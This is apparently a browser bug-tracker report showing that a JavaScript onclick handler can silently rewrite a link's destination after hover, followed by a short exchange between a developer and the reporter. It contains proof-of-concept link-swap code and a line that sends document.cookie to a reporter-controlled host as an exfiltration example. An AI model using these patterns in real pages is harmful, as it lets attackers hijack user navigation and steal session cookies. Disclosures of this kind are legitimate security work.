Onclick event changing link reference before navigation
Categories
(Core :: DOM: Core & HTML, defect)
Tracking
()
People
(Reporter: cc.bugreporting, Unassigned)
Details
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Steps to reproduce:
I am able to reproduce this bug without fail.
To determine if browser link navigation or JavaScript onclick is evaluated first, I did the following:
- Created basic webpage (on a VPS) with an anchor tag with an href to 'https://amazon.com'
::: index.html
<a href="https://amazon.com">Link!</a>
<script src="script.js"></script>
::: - Added a JavaScript script that initialized an onclick listener which would change this anchor tag's href if it was clicked:
::: script.js
document.onclick = function(evt) {
// Ensure it is the anchor tag, and in this case,
// ensure that we only redirect the amazon link.
if (evt.target.tagName == "A") {
let href = evt.target.href;
evt.target.href = "https://google.com";
// Reset the reference back to the original reference
setTimeout(() => {evt.target.href=href}, 500);
}
}
::: - Opened the page
- Hovered over the anchor tag and saw that it was pointing to 'https://amazon.com'
- Clicked on the anchor tag
Actual results:
After clicking on the tag, I was redirected to 'https://google.com'
Expected results:
From the HTML living standard 15.7.1: "User agents are expected to allow users to discover the destination of hyperlinks and of forms before triggering their navigation".
Since the hovered url was 'https://amazon.com', clicking on the link should redirect to the Amazon homepage rather than the Google homepage.
This redirection indicates that the JavaScript events are being evaluated first, allowing user navigation to be hijacked at the last second. In other words, even if a user validates that the URL being shown to them is correct, the link has no guarantee that it will navigate to the intended address.
I also used this same process to send arbitrary data such as cookies and/ or the current page's entire contents to a redirection page that I controlled (i.e. setting the href in JS as "https://my.vps/redirected_page.html?exfiltrated_data=" + document.cookie), simulating a data exfiltration attack. This behavior is problematic if JavaScript can be smuggled into a page from untrusted advertisement scripts, browser addons, tracking scripts, or any other ways websites may inadvertently inject third party semi-trusted or untrusted scripts.
Due to the possibility of exfiltrating the user's website state to a site that the user does not intend, this poses a vulnerability in the security model of the browser.
A variety of possible abuses that this bug enables include:
- Website Redirects high-profile sites (e.g. Amazon, Facebook, etc.) to a phishing site that has been made to look the same but steal user credentials (all of the links on the page could even appear to go to the legitimate site!)
- A phishing email contains a link to phishing site that looks like the actual site, and the links on hover look all like legitimate links, but upon submission of forms or using the links on the site then redirect the user through the phishing site
- Insert and/ or remove affiliate codes from links, similar to this bleeping computer article: Malicious browser extensions targeted almost 7 million people
- Extract cookies from a user viewing a website by redirecting them to an attacker's site with the cookies in the heading
- Data leakage from sending the current page's contents to an attackers' site which is set up to automatically redirect to the intended target but log the data that was transferred
I have tested and verified this behavior (regular/ left clicking on a link which is set to be changed on JS onclick) on Firefox on a Mac v107.0.1 (64 bit), Firefox on iOS, and Firefox Focus on iOS. I also found that I could use the oncontextmenu to hijack the right-click navigation for desktop but have not yet found any problems with iOS long-touch 'open in new tab'.
This also occurs in all of the current major browsers and so I do not believe this is a problem from a specific version of FF.
In summary, we expect that if the browser indicates that a link goes to a particular site, then clicking the link should take you to the site. The onclick JavaScript should not be able to modify the navigation destination or it (the onclick event) should not be evaluated if a link is used to change the browsed webpage.
|
||
Comment 1•2 years ago
|
||
This also occurs in all of the current major browsers
This is, unfortunately, just the way the web works. Nothing in the content area can be trusted to be the thing it looks like it is.
|
Reporter | |
Comment 2•2 years ago
|
||
This bug is much larger scope than that aforementioned bug. But even then,
Issues in DOM tree https://dom.spec.whatwg.org & HTML https://html.spec.whatwg.org that do not fit into any other DOM or HTML component or which span multiple DOM or HTML components.
This bug violates the WHATWG HTML specification 15.7.1 (https://html.spec.whatwg.org/multipage/rendering.html#links,-forms,-and-navigation) and so while it is 'just the way the web works' it is a necessary change to the browser in order to maintain compliance with the standards.
This can be fixed by not allowing JavaScript to arbitrarily change navigation links as they are clicked.
- Create a cached copy of the clicked link destination and navigate there (so that JavaScript cannot change the destination)
- Clicking a link causes the browser to navigate to the page before any JavaScript can run
Description
•